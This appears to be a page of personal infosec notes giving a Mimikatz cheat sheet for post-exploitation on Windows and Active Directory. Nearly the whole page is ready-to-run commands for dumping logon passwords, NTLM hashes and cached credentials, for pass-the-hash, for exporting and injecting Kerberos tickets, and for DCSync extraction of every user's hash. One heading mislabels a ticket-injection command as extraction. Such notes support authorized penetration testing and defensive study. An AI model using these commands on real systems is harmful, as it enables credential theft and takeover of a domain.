> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/privesc-tools/mimikatz.md).

# Mimikatz

Mimikatz is used after initial access, typically in post-exploitation scenarios where you've already gained a foothold on a Windows machine.

**Tool:** <https://github.com/gentilkiwi/mimikatz>\
**Use Case:** Credential extraction, token impersonation, Kerberos ticket manipulation

***

### Execution

Run from an elevated command prompt (Admin shell):

```bash
mimikatz.exe
```

Enable required privileges:

```mimikatz
privilege::debug
```

***

### Credential Dumping

#### Dump All Logon Passwords

```mimikatz
sekurlsa::logonpasswords
```

Lists:

* Username
* Domain
* NTLM hashes
* Plaintext passwords (if present)

#### Dump Only NTLM Hashes

```mimikatz
lsadump::sam
```

#### Dump Cached Domain Credentials

```mimikatz
lsadump::cache
```

***

### Pass-the-Hash (PtH)

Impersonate a user using NTLM hash:

```mimikatz
sekurlsa::pth /user:Administrator /domain:enum.local /ntlm:<hash> /run:powershell.exe
```

***

### Kerberos Tickets

#### Dump All Tickets

```mimikatz
kerberos::list
```

#### Extract TGT Ticket

```mimikatz
kerberos::ptt <ticket.kirbi>
```

#### Save Tickets to File

```mimikatz
kerberos::list /export
```

***

### Pass-the-Ticket (PtT)

Inject ticket into memory:

```mimikatz
kerberos::ptt ticket.kirbi
```

***

### Dumping Domain Controller Secrets (DCSync)

Requires `Domain Admin` rights:

```mimikatz
lsadump::dcsync /domain:enum.local /user:Administrator
```

Can be used to extract password hashes for any user.